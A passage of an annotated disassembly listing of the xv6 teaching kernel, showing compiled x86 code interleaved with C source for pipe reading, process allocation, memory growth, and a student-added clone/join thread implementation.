80104224: b8 ff ff ff ff mov $0xffffffff,%eax
80104229: e9 b5 00 00 00 jmp 801042e3 <piperead+0xeb>
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
8010422e: 8b 45 08 mov 0x8(%ebp),%eax
80104231: 8b 55 08 mov 0x8(%ebp),%edx
80104234: 81 c2 34 02 00 00 add $0x234,%edx
8010423a: 89 44 24 04 mov %eax,0x4(%esp)
8010423e: 89 14 24 mov %edx,(%esp)
80104241: e8 48 0d 00 00 call 80104f8e <sleep>
piperead(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
80104246: 8b 45 08 mov 0x8(%ebp),%eax
80104249: 8b 90 34 02 00 00 mov 0x234(%eax),%edx
8010424f: 8b 45 08 mov 0x8(%ebp),%eax
80104252: 8b 80 38 02 00 00 mov 0x238(%eax),%eax
80104258: 39 c2 cmp %eax,%edx
8010425a: 75 0d jne 80104269 <piperead+0x71>
8010425c: 8b 45 08 mov 0x8(%ebp),%eax
8010425f: 8b 80 40 02 00 00 mov 0x240(%eax),%eax
80104265: 85 c0 test %eax,%eax
80104267: 75 a3 jne 8010420c <piperead+0x14>
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
80104269: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80104270: eb 4b jmp 801042bd <piperead+0xc5>
if(p->nread == p->nwrite)
80104272: 8b 45 08 mov 0x8(%ebp),%eax
80104275: 8b 90 34 02 00 00 mov 0x234(%eax),%edx
8010427b: 8b 45 08 mov 0x8(%ebp),%eax
8010427e: 8b 80 38 02 00 00 mov 0x238(%eax),%eax
80104284: 39 c2 cmp %eax,%edx
80104286: 75 02 jne 8010428a <piperead+0x92>
break;
80104288: eb 3b jmp 801042c5 <piperead+0xcd>
addr[i] = p->data[p->nread++ % PIPESIZE];
8010428a: 8b 55 f4 mov -0xc(%ebp),%edx
8010428d: 8b 45 0c mov 0xc(%ebp),%eax
80104290: 8d 1c 02 lea (%edx,%eax,1),%ebx
80104293: 8b 45 08 mov 0x8(%ebp),%eax
80104296: 8b 80 34 02 00 00 mov 0x234(%eax),%eax
8010429c: 8d 48 01 lea 0x1(%eax),%ecx
8010429f: 8b 55 08 mov 0x8(%ebp),%edx
801042a2: 89 8a 34 02 00 00 mov %ecx,0x234(%edx)
801042a8: 25 ff 01 00 00 and $0x1ff,%eax
801042ad: 89 c2 mov %eax,%edx
801042af: 8b 45 08 mov 0x8(%ebp),%eax
801042b2: 0f b6 44 10 34 movzbl 0x34(%eax,%edx,1),%eax
801042b7: 88 03 mov %al,(%ebx)
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
801042b9: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801042bd: 8b 45 f4 mov -0xc(%ebp),%eax
801042c0: 3b 45 10 cmp 0x10(%ebp),%eax
801042c3: 7c ad jl 80104272 <piperead+0x7a>
if(p->nread == p->nwrite)
break;
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
801042c5: 8b 45 08 mov 0x8(%ebp),%eax
801042c8: 05 38 02 00 00 add $0x238,%eax
801042cd: 89 04 24 mov %eax,(%esp)
801042d0: e8 95 0d 00 00 call 8010506a <wakeup>
release(&p->lock);
801042d5: 8b 45 08 mov 0x8(%ebp),%eax
801042d8: 89 04 24 mov %eax,(%esp)
801042db: e8 e5 0f 00 00 call 801052c5 <release>
return i;
801042e0: 8b 45 f4 mov -0xc(%ebp),%eax
}
801042e3: 83 c4 24 add $0x24,%esp
801042e6: 5b pop %ebx
801042e7: 5d pop %ebp
801042e8: c3 ret
801042e9: 66 90 xchg %ax,%ax
801042eb: 90 nop
801042ec <readeflags>:
asm volatile("ltr %0" : : "r" (sel));
}
static inline uint
readeflags(void)
{
801042ec: 55 push %ebp
801042ed: 89 e5 mov %esp,%ebp
801042ef: 83 ec 10 sub $0x10,%esp
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
801042f2: 9c pushf
801042f3: 58 pop %eax
801042f4: 89 45 fc mov %eax,-0x4(%ebp)
return eflags;
801042f7: 8b 45 fc mov -0x4(%ebp),%eax
}
801042fa: c9 leave
801042fb: c3 ret
801042fc <sti>:
asm volatile("cli");
}
static inline void
sti(void)
{
801042fc: 55 push %ebp
801042fd: 89 e5 mov %esp,%ebp
asm volatile("sti");
801042ff: fb sti
}
80104300: 5d pop %ebp
80104301: c3 ret
80104302 <xchg>:
static inline uint
xchg(volatile uint *addr, uint newval)
{
80104302: 55 push %ebp
80104303: 89 e5 mov %esp,%ebp
80104305: 83 ec 10 sub $0x10,%esp
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
80104308: 8b 55 08 mov 0x8(%ebp),%edx
8010430b: 8b 45 0c mov 0xc(%ebp),%eax
8010430e: 8b 4d 08 mov 0x8(%ebp),%ecx
80104311: f0 87 02 lock xchg %eax,(%edx)
80104314: 89 45 fc mov %eax,-0x4(%ebp)
"+m" (*addr), "=a" (result) :
"1" (newval) :
"cc");
return result;
80104317: 8b 45 fc mov -0x4(%ebp),%eax
}
8010431a: c9 leave
8010431b: c3 ret
8010431c <pinit>:
static void wakeup1(void *chan);
void
pinit(void)
{
8010431c: 55 push %ebp
8010431d: 89 e5 mov %esp,%ebp
8010431f: 83 ec 18 sub $0x18,%esp
initlock(&ptable.lock, "ptable");
80104322: c7 44 24 04 6d 8c 10 movl $0x80108c6d,0x4(%esp)
80104329: 80
8010432a: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104331: e8 0c 0f 00 00 call 80105242 <initlock>
}
80104336: c9 leave
80104337: c3 ret
80104338 <allocproc>:
// If found, change state to EMBRYO and initialize
// state required to run in the kernel.
// Otherwise return 0.
static struct proc*
allocproc(void)
{
80104338: 55 push %ebp
80104339: 89 e5 mov %esp,%ebp
8010433b: 83 ec 28 sub $0x28,%esp
struct proc *p;
char *sp;
acquire(&ptable.lock);
8010433e: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104345: e8 19 0f 00 00 call 80105263 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
8010434a: c7 45 f4 b4 39 11 80 movl $0x801139b4,-0xc(%ebp)
80104351: eb 53 jmp 801043a6 <allocproc+0x6e>
if(p->state == UNUSED)
80104353: 8b 45 f4 mov -0xc(%ebp),%eax
80104356: 8b 40 0c mov 0xc(%eax),%eax
80104359: 85 c0 test %eax,%eax
8010435b: 75 42 jne 8010439f <allocproc+0x67>
goto found;
8010435d: 90 nop
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
8010435e: 8b 45 f4 mov -0xc(%ebp),%eax
80104361: c7 40 0c 01 00 00 00 movl $0x1,0xc(%eax)
p->pid = nextpid++;
80104368: a1 04 c0 10 80 mov 0x8010c004,%eax
8010436d: 8d 50 01 lea 0x1(%eax),%edx
80104370: 89 15 04 c0 10 80 mov %edx,0x8010c004
80104376: 8b 55 f4 mov -0xc(%ebp),%edx
80104379: 89 42 10 mov %eax,0x10(%edx)
release(&ptable.lock);
8010437c: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104383: e8 3d 0f 00 00 call 801052c5 <release>
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
80104388: e8 5e e7 ff ff call 80102aeb <kalloc>
8010438d: 8b 55 f4 mov -0xc(%ebp),%edx
80104390: 89 42 08 mov %eax,0x8(%edx)
80104393: 8b 45 f4 mov -0xc(%ebp),%eax
80104396: 8b 40 08 mov 0x8(%eax),%eax
80104399: 85 c0 test %eax,%eax
8010439b: 75 36 jne 801043d3 <allocproc+0x9b>
8010439d: eb 23 jmp 801043c2 <allocproc+0x8a>
{
struct proc *p;
char *sp;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
8010439f: 81 45 f4 84 00 00 00 addl $0x84,-0xc(%ebp)
801043a6: 81 7d f4 b4 5a 11 80 cmpl $0x80115ab4,-0xc(%ebp)
801043ad: 72 a4 jb 80104353 <allocproc+0x1b>
if(p->state == UNUSED)
goto found;
release(&ptable.lock);
801043af: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
801043b6: e8 0a 0f 00 00 call 801052c5 <release>
return 0;
801043bb: b8 00 00 00 00 mov $0x0,%eax
801043c0: eb 76 jmp 80104438 <allocproc+0x100>
p->pid = nextpid++;
release(&ptable.lock);
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
p->state = UNUSED;
801043c2: 8b 45 f4 mov -0xc(%ebp),%eax
801043c5: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
return 0;
801043cc: b8 00 00 00 00 mov $0x0,%eax
801043d1: eb 65 jmp 80104438 <allocproc+0x100>
}
sp = p->kstack + KSTACKSIZE;
801043d3: 8b 45 f4 mov -0xc(%ebp),%eax
801043d6: 8b 40 08 mov 0x8(%eax),%eax
801043d9: 05 00 10 00 00 add $0x1000,%eax
801043de: 89 45 f0 mov %eax,-0x10(%ebp)
// Leave room for trap frame.
sp -= sizeof *p->tf;
801043e1: 83 6d f0 4c subl $0x4c,-0x10(%ebp)
p->tf = (struct trapframe*)sp;
801043e5: 8b 45 f4 mov -0xc(%ebp),%eax
801043e8: 8b 55 f0 mov -0x10(%ebp),%edx
801043eb: 89 50 18 mov %edx,0x18(%eax)
// Set up new context to start executing at forkret,
// which returns to trapret.
sp -= 4;
801043ee: 83 6d f0 04 subl $0x4,-0x10(%ebp)
*(uint*)sp = (uint)trapret;
801043f2: ba 2c 6a 10 80 mov $0x80106a2c,%edx
801043f7: 8b 45 f0 mov -0x10(%ebp),%eax
801043fa: 89 10 mov %edx,(%eax)
sp -= sizeof *p->context;
801043fc: 83 6d f0 14 subl $0x14,-0x10(%ebp)
p->context = (struct context*)sp;
80104400: 8b 45 f4 mov -0xc(%ebp),%eax
80104403: 8b 55 f0 mov -0x10(%ebp),%edx
80104406: 89 50 1c mov %edx,0x1c(%eax)
memset(p->context, 0, sizeof *p->context);
80104409: 8b 45 f4 mov -0xc(%ebp),%eax
8010440c: 8b 40 1c mov 0x1c(%eax),%eax
8010440f: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp)
80104416: 00
80104417: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010441e: 00
8010441f: 89 04 24 mov %eax,(%esp)
80104422: e8 93 10 00 00 call 801054ba <memset>
p->context->eip = (uint)forkret;
80104427: 8b 45 f4 mov -0xc(%ebp),%eax
8010442a: 8b 40 1c mov 0x1c(%eax),%eax
8010442d: ba 62 4f 10 80 mov $0x80104f62,%edx
80104432: 89 50 10 mov %edx,0x10(%eax)
return p;
80104435: 8b 45 f4 mov -0xc(%ebp),%eax
}
80104438: c9 leave
80104439: c3 ret
8010443a <userinit>:
//PAGEBREAK: 32
// Set up first user process.
void
userinit(void)
{
8010443a: 55 push %ebp
8010443b: 89 e5 mov %esp,%ebp
8010443d: 83 ec 28 sub $0x28,%esp
struct proc *p;
extern char _binary_initcode_start[], _binary_initcode_size[];
p = allocproc();
80104440: e8 f3 fe ff ff call 80104338 <allocproc>
80104445: 89 45 f4 mov %eax,-0xc(%ebp)
initproc = p;
80104448: 8b 45 f4 mov -0xc(%ebp),%eax
8010444b: a3 68 c6 10 80 mov %eax,0x8010c668
if((p->pgdir = setupkvm()) == 0)
80104450: e8 d4 3c 00 00 call 80108129 <setupkvm>
80104455: 8b 55 f4 mov -0xc(%ebp),%edx
80104458: 89 42 04 mov %eax,0x4(%edx)
8010445b: 8b 45 f4 mov -0xc(%ebp),%eax
8010445e: 8b 40 04 mov 0x4(%eax),%eax
80104461: 85 c0 test %eax,%eax
80104463: 75 0c jne 80104471 <userinit+0x37>
panic("userinit: out of memory?");
80104465: c7 04 24 74 8c 10 80 movl $0x80108c74,(%esp)
8010446c: e8 c9 c0 ff ff call 8010053a <panic>
inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size);
80104471: ba 2c 00 00 00 mov $0x2c,%edx
80104476: 8b 45 f4 mov -0xc(%ebp),%eax
80104479: 8b 40 04 mov 0x4(%eax),%eax
8010447c: 89 54 24 08 mov %edx,0x8(%esp)
80104480: c7 44 24 04 00 c5 10 movl $0x8010c500,0x4(%esp)
80104487: 80
80104488: 89 04 24 mov %eax,(%esp)
8010448b: e8 f1 3e 00 00 call 80108381 <inituvm>
p->sz = PGSIZE;
80104490: 8b 45 f4 mov -0xc(%ebp),%eax
80104493: c7 00 00 10 00 00 movl $0x1000,(%eax)
memset(p->tf, 0, sizeof(*p->tf));
80104499: 8b 45 f4 mov -0xc(%ebp),%eax
8010449c: 8b 40 18 mov 0x18(%eax),%eax
8010449f: c7 44 24 08 4c 00 00 movl $0x4c,0x8(%esp)
801044a6: 00
801044a7: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801044ae: 00
801044af: 89 04 24 mov %eax,(%esp)
801044b2: e8 03 10 00 00 call 801054ba <memset>
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
801044b7: 8b 45 f4 mov -0xc(%ebp),%eax
801044ba: 8b 40 18 mov 0x18(%eax),%eax
801044bd: 66 c7 40 3c 23 00 movw $0x23,0x3c(%eax)
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
801044c3: 8b 45 f4 mov -0xc(%ebp),%eax
801044c6: 8b 40 18 mov 0x18(%eax),%eax
801044c9: 66 c7 40 2c 2b 00 movw $0x2b,0x2c(%eax)
p->tf->es = p->tf->ds;
801044cf: 8b 45 f4 mov -0xc(%ebp),%eax
801044d2: 8b 40 18 mov 0x18(%eax),%eax
801044d5: 8b 55 f4 mov -0xc(%ebp),%edx
801044d8: 8b 52 18 mov 0x18(%edx),%edx
801044db: 0f b7 52 2c movzwl 0x2c(%edx),%edx
801044df: 66 89 50 28 mov %dx,0x28(%eax)
p->tf->ss = p->tf->ds;
801044e3: 8b 45 f4 mov -0xc(%ebp),%eax
801044e6: 8b 40 18 mov 0x18(%eax),%eax
801044e9: 8b 55 f4 mov -0xc(%ebp),%edx
801044ec: 8b 52 18 mov 0x18(%edx),%edx
801044ef: 0f b7 52 2c movzwl 0x2c(%edx),%edx
801044f3: 66 89 50 48 mov %dx,0x48(%eax)
p->tf->eflags = FL_IF;
801044f7: 8b 45 f4 mov -0xc(%ebp),%eax
801044fa: 8b 40 18 mov 0x18(%eax),%eax
801044fd: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax)
p->tf->esp = PGSIZE;
80104504: 8b 45 f4 mov -0xc(%ebp),%eax
80104507: 8b 40 18 mov 0x18(%eax),%eax
8010450a: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax)
p->tf->eip = 0; // beginning of initcode.S
80104511: 8b 45 f4 mov -0xc(%ebp),%eax
80104514: 8b 40 18 mov 0x18(%eax),%eax
80104517: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax)
safestrcpy(p->name, "initcode", sizeof(p->name));
8010451e: 8b 45 f4 mov -0xc(%ebp),%eax
80104521: 83 c0 6c add $0x6c,%eax
80104524: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
8010452b: 00
8010452c: c7 44 24 04 8d 8c 10 movl $0x80108c8d,0x4(%esp)
80104533: 80
80104534: 89 04 24 mov %eax,(%esp)
80104537: e8 9e 11 00 00 call 801056da <safestrcpy>
p->cwd = namei("/");
8010453c: c7 04 24 96 8c 10 80 movl $0x80108c96,(%esp)
80104543: e8 c1 de ff ff call 80102409 <namei>
80104548: 8b 55 f4 mov -0xc(%ebp),%edx
8010454b: 89 42 68 mov %eax,0x68(%edx)
p->state = RUNNABLE;
8010454e: 8b 45 f4 mov -0xc(%ebp),%eax
80104551: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
}
80104558: c9 leave
80104559: c3 ret
8010455a <growproc>:
// Grow current process's memory by n bytes.
// Return 0 on success, -1 on failure.
int
growproc(int n)
{
8010455a: 55 push %ebp
8010455b: 89 e5 mov %esp,%ebp
8010455d: 83 ec 28 sub $0x28,%esp
uint sz;
sz = proc->sz;
80104560: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104566: 8b 00 mov (%eax),%eax
80104568: 89 45 f4 mov %eax,-0xc(%ebp)
if(n > 0){
8010456b: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
8010456f: 7e 37 jle 801045a8 <growproc+0x4e>
if((sz = allocuvm(proc->pgdir, sz, sz + n)) == 0)
80104571: 8b 55 08 mov 0x8(%ebp),%edx
80104574: 8b 45 f4 mov -0xc(%ebp),%eax
80104577: 01 c2 add %eax,%edx
80104579: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010457f: 8b 40 04 mov 0x4(%eax),%eax
80104582: 89 54 24 08 mov %edx,0x8(%esp)
80104586: 8b 55 f4 mov -0xc(%ebp),%edx
80104589: 89 54 24 04 mov %edx,0x4(%esp)
8010458d: 89 04 24 mov %eax,(%esp)
80104590: e8 62 3f 00 00 call 801084f7 <allocuvm>
80104595: 89 45 f4 mov %eax,-0xc(%ebp)
80104598: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010459c: 75 44 jne 801045e2 <growproc+0x88>
return -1;
8010459e: b8 ff ff ff ff mov $0xffffffff,%eax
801045a3: e9 ac 00 00 00 jmp 80104654 <growproc+0xfa>
} else if(n < 0){
801045a8: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
801045ac: 79 34 jns 801045e2 <growproc+0x88>
if((sz = deallocuvm(proc->pgdir, sz, sz + n)) == 0)
801045ae: 8b 55 08 mov 0x8(%ebp),%edx
801045b1: 8b 45 f4 mov -0xc(%ebp),%eax
801045b4: 01 c2 add %eax,%edx
801045b6: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801045bc: 8b 40 04 mov 0x4(%eax),%eax
801045bf: 89 54 24 08 mov %edx,0x8(%esp)
801045c3: 8b 55 f4 mov -0xc(%ebp),%edx
801045c6: 89 54 24 04 mov %edx,0x4(%esp)
801045ca: 89 04 24 mov %eax,(%esp)
801045cd: e8 ff 3f 00 00 call 801085d1 <deallocuvm>
801045d2: 89 45 f4 mov %eax,-0xc(%ebp)
801045d5: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801045d9: 75 07 jne 801045e2 <growproc+0x88>
return -1;
801045db: b8 ff ff ff ff mov $0xffffffff,%eax
801045e0: eb 72 jmp 80104654 <growproc+0xfa>
}
proc->sz = sz;
801045e2: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801045e8: 8b 55 f4 mov -0xc(%ebp),%edx
801045eb: 89 10 mov %edx,(%eax)
struct proc *p;
acquire(&ptable.lock);
801045ed: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
801045f4: e8 6a 0c 00 00 call 80105263 <acquire>
for(p=ptable.proc; p<&ptable.proc[NPROC]; p++){
801045f9: c7 45 f0 b4 39 11 80 movl $0x801139b4,-0x10(%ebp)
80104600: eb 2a jmp 8010462c <growproc+0xd2>
if(p->parent!=proc || 1==p->thread)
80104602: 8b 45 f0 mov -0x10(%ebp),%eax
80104605: 8b 50 14 mov 0x14(%eax),%edx
80104608: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010460e: 39 c2 cmp %eax,%edx
80104610: 75 0b jne 8010461d <growproc+0xc3>
80104612: 8b 45 f0 mov -0x10(%ebp),%eax
80104615: 8b 40 7c mov 0x7c(%eax),%eax
80104618: 83 f8 01 cmp $0x1,%eax
8010461b: 75 08 jne 80104625 <growproc+0xcb>
p->sz = sz;
8010461d: 8b 45 f0 mov -0x10(%ebp),%eax
80104620: 8b 55 f4 mov -0xc(%ebp),%edx
80104623: 89 10 mov %edx,(%eax)
return -1;
}
proc->sz = sz;
struct proc *p;
acquire(&ptable.lock);
for(p=ptable.proc; p<&ptable.proc[NPROC]; p++){
80104625: 81 45 f0 84 00 00 00 addl $0x84,-0x10(%ebp)
8010462c: 81 7d f0 b4 5a 11 80 cmpl $0x80115ab4,-0x10(%ebp)
80104633: 72 cd jb 80104602 <growproc+0xa8>
if(p->parent!=proc || 1==p->thread)
p->sz = sz;
}
release(&ptable.lock);
80104635: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
8010463c: e8 84 0c 00 00 call 801052c5 <release>
switchuvm(proc);
80104641: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104647: 89 04 24 mov %eax,(%esp)
8010464a: e8 cb 3b 00 00 call 8010821a <switchuvm>
return 0;
8010464f: b8 00 00 00 00 mov $0x0,%eax
}
80104654: c9 leave
80104655: c3 ret
80104656 <clone>:
int
clone(void(*func)(void*), void* arg, void* stack)
{
80104656: 55 push %ebp
80104657: 89 e5 mov %esp,%ebp
80104659: 57 push %edi
8010465a: 56 push %esi
8010465b: 53 push %ebx
8010465c: 83 ec 2c sub $0x2c,%esp
int i, pid;
struct proc *np;
//input arguments
if((uint)stack + PGSIZE > proc->sz)
8010465f: 8b 45 10 mov 0x10(%ebp),%eax
80104662: 8d 90 00 10 00 00 lea 0x1000(%eax),%edx
80104668: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010466e: 8b 00 mov (%eax),%eax
80104670: 39 c2 cmp %eax,%edx
80104672: 76 0a jbe 8010467e <clone+0x28>
return -1;
80104674: b8 ff ff ff ff mov $0xffffffff,%eax
80104679: e9 89 01 00 00 jmp 80104807 <clone+0x1b1>
if((uint)stack%PGSIZE != 0)
8010467e: 8b 45 10 mov 0x10(%ebp),%eax
80104681: 25 ff 0f 00 00 and $0xfff,%eax
80104686: 85 c0 test %eax,%eax
80104688: 74 0a je 80104694 <clone+0x3e>
return -1;
8010468a: b8 ff ff ff ff mov $0xffffffff,%eax
8010468f: e9 73 01 00 00 jmp 80104807 <clone+0x1b1>
// Allocate process.
if((np = allocproc()) == 0)
80104694: e8 9f fc ff ff call 80104338 <allocproc>
80104699: 89 45 e0 mov %eax,-0x20(%ebp)
8010469c: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
801046a0: 75 0a jne 801046ac <clone+0x56>
return -1;
801046a2: b8 ff ff ff ff mov $0xffffffff,%eax
801046a7: e9 5b 01 00 00 jmp 80104807 <clone+0x1b1>
// Copy process state from p.
np->pgdir = proc->pgdir;
801046ac: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801046b2: 8b 50 04 mov 0x4(%eax),%edx
801046b5: 8b 45 e0 mov -0x20(%ebp),%eax
801046b8: 89 50 04 mov %edx,0x4(%eax)
//set up the stack
void* stackTop = stack+PGSIZE;
801046bb: 8b 45 10 mov 0x10(%ebp),%eax
801046be: 05 00 10 00 00 add $0x1000,%eax
801046c3: 89 45 dc mov %eax,-0x24(%ebp)
*(uint*)(stackTop-8) = 0xffffffff;
801046c6: 8b 45 dc mov -0x24(%ebp),%eax
801046c9: 83 e8 08 sub $0x8,%eax
801046cc: c7 00 ff ff ff ff movl $0xffffffff,(%eax)
//get the input arg into stacktop -4
*(uint*)(stackTop-4) = (uint)arg;
801046d2: 8b 45 dc mov -0x24(%ebp),%eax
801046d5: 8d 50 fc lea -0x4(%eax),%edx
801046d8: 8b 45 0c mov 0xc(%ebp),%eax
801046db: 89 02 mov %eax,(%edx)
np->sz = proc->sz;
801046dd: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801046e3: 8b 10 mov (%eax),%edx
801046e5: 8b 45 e0 mov -0x20(%ebp),%eax
801046e8: 89 10 mov %edx,(%eax)
np->parent = proc;
801046ea: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
801046f1: 8b 45 e0 mov -0x20(%ebp),%eax
801046f4: 89 50 14 mov %edx,0x14(%eax)
*np->tf = *proc->tf;
801046f7: 8b 45 e0 mov -0x20(%ebp),%eax
801046fa: 8b 50 18 mov 0x18(%eax),%edx
801046fd: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104703: 8b 40 18 mov 0x18(%eax),%eax
80104706: 89 c3 mov %eax,%ebx
80104708: b8 13 00 00 00 mov $0x13,%eax
8010470d: 89 d7 mov %edx,%edi
8010470f: 89 de mov %ebx,%esi
80104711: 89 c1 mov %eax,%ecx
80104713: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
//This is a thread;
np->thread = 1;
80104715: 8b 45 e0 mov -0x20(%ebp),%eax
80104718: c7 40 7c 01 00 00 00 movl $0x1,0x7c(%eax)
np->ustack = stack;
8010471f: 8b 45 e0 mov -0x20(%ebp),%eax
80104722: 8b 55 10 mov 0x10(%ebp),%edx
80104725: 89 90 80 00 00 00 mov %edx,0x80(%eax)
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
8010472b: 8b 45 e0 mov -0x20(%ebp),%eax
8010472e: 8b 40 18 mov 0x18(%eax),%eax
80104731: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax)
//set the esp and eip
np->tf->eip = (uint)func;
80104738: 8b 45 e0 mov -0x20(%ebp),%eax
8010473b: 8b 40 18 mov 0x18(%eax),%eax
8010473e: 8b 55 08 mov 0x8(%ebp),%edx
80104741: 89 50 38 mov %edx,0x38(%eax)
np->tf->esp = (uint)(stackTop - 8);
80104744: 8b 45 e0 mov -0x20(%ebp),%eax
80104747: 8b 40 18 mov 0x18(%eax),%eax
8010474a: 8b 55 dc mov -0x24(%ebp),%edx
8010474d: 83 ea 08 sub $0x8,%edx
80104750: 89 50 44 mov %edx,0x44(%eax)
for(i = 0; i < NOFILE; i++)
80104753: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
8010475a: eb 3d jmp 80104799 <clone+0x143>
if(proc->ofile[i])
8010475c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104762: 8b 55 e4 mov -0x1c(%ebp),%edx
80104765: 83 c2 08 add $0x8,%edx
80104768: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
8010476c: 85 c0 test %eax,%eax
8010476e: 74 25 je 80104795 <clone+0x13f>
np->ofile[i] = filedup(proc->ofile[i]);
80104770: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104776: 8b 55 e4 mov -0x1c(%ebp),%edx
80104779: 83 c2 08 add $0x8,%edx
8010477c: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
80104780: 89 04 24 mov %eax,(%esp)
80104783: e8 00 c8 ff ff call 80100f88 <filedup>
80104788: 8b 55 e0 mov -0x20(%ebp),%edx
8010478b: 8b 4d e4 mov -0x1c(%ebp),%ecx
8010478e: 83 c1 08 add $0x8,%ecx
80104791: 89 44 8a 08 mov %eax,0x8(%edx,%ecx,4)
np->tf->eax = 0;
//set the esp and eip
np->tf->eip = (uint)func;
np->tf->esp = (uint)(stackTop - 8);
for(i = 0; i < NOFILE; i++)
80104795: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
80104799: 83 7d e4 0f cmpl $0xf,-0x1c(%ebp)
8010479d: 7e bd jle 8010475c <clone+0x106>
if(proc->ofile[i])
np->ofile[i] = filedup(proc->ofile[i]);
safestrcpy(np->name, proc->name, sizeof(proc->name));
8010479f: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801047a5: 8d 50 6c lea 0x6c(%eax),%edx
801047a8: 8b 45 e0 mov -0x20(%ebp),%eax
801047ab: 83 c0 6c add $0x6c,%eax
801047ae: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
801047b5: 00
801047b6: 89 54 24 04 mov %edx,0x4(%esp)
801047ba: 89 04 24 mov %eax,(%esp)
801047bd: e8 18 0f 00 00 call 801056da <safestrcpy>
pid = np->pid;
801047c2: 8b 45 e0 mov -0x20(%ebp),%eax
801047c5: 8b 40 10 mov 0x10(%eax),%eax
801047c8: 89 45 d8 mov %eax,-0x28(%ebp)
np->cwd = idup(proc->cwd);
801047cb: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801047d1: 8b 40 68 mov 0x68(%eax),%eax
801047d4: 89 04 24 mov %eax,(%esp)
801047d7: e8 50 d0 ff ff call 8010182c <idup>
801047dc: 8b 55 e0 mov -0x20(%ebp),%edx
801047df: 89 42 68 mov %eax,0x68(%edx)
// lock to force the compiler to emit the np->state write last.
acquire(&ptable.lock);
801047e2: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
801047e9: e8 75 0a 00 00 call 80105263 <acquire>
np->state = RUNNABLE;
801047ee: 8b 45 e0 mov -0x20(%ebp),%eax
801047f1: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
release(&ptable.lock);
801047f8: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
801047ff: e8 c1 0a 00 00 call 801052c5 <release>
return pid;
80104804: 8b 45 d8 mov -0x28(%ebp),%eax
}
80104807: 83 c4 2c add $0x2c,%esp
8010480a: 5b pop %ebx
8010480b: 5e pop %esi
8010480c: 5f pop %edi
8010480d: 5d pop %ebp
8010480e: c3 ret
8010480f <join>:
//The is the join syscall iplementation
int
join(int threadId, void** stack)
{
8010480f: 55 push %ebp
80104810: 89 e5 mov %esp,%ebp
80104812: 83 ec 28 sub $0x28,%esp
struct proc *p;
int hasChild;
int pid;
acquire(&ptable.lock);
80104815: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
8010481c: e8 42 0a 00 00 call 80105263 <acquire>
for(;;){
hasChild = 0;
80104821: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
for(p=ptable.proc; p<&ptable.proc[NPROC]; p++){
80104828: c7 45 f4 b4 39 11 80 movl $0x801139b4,-0xc(%ebp)
8010482f: e9 c0 00 00 00 jmp 801048f4 <join+0xe5>
if(p->parent != proc || 0==p->thread)
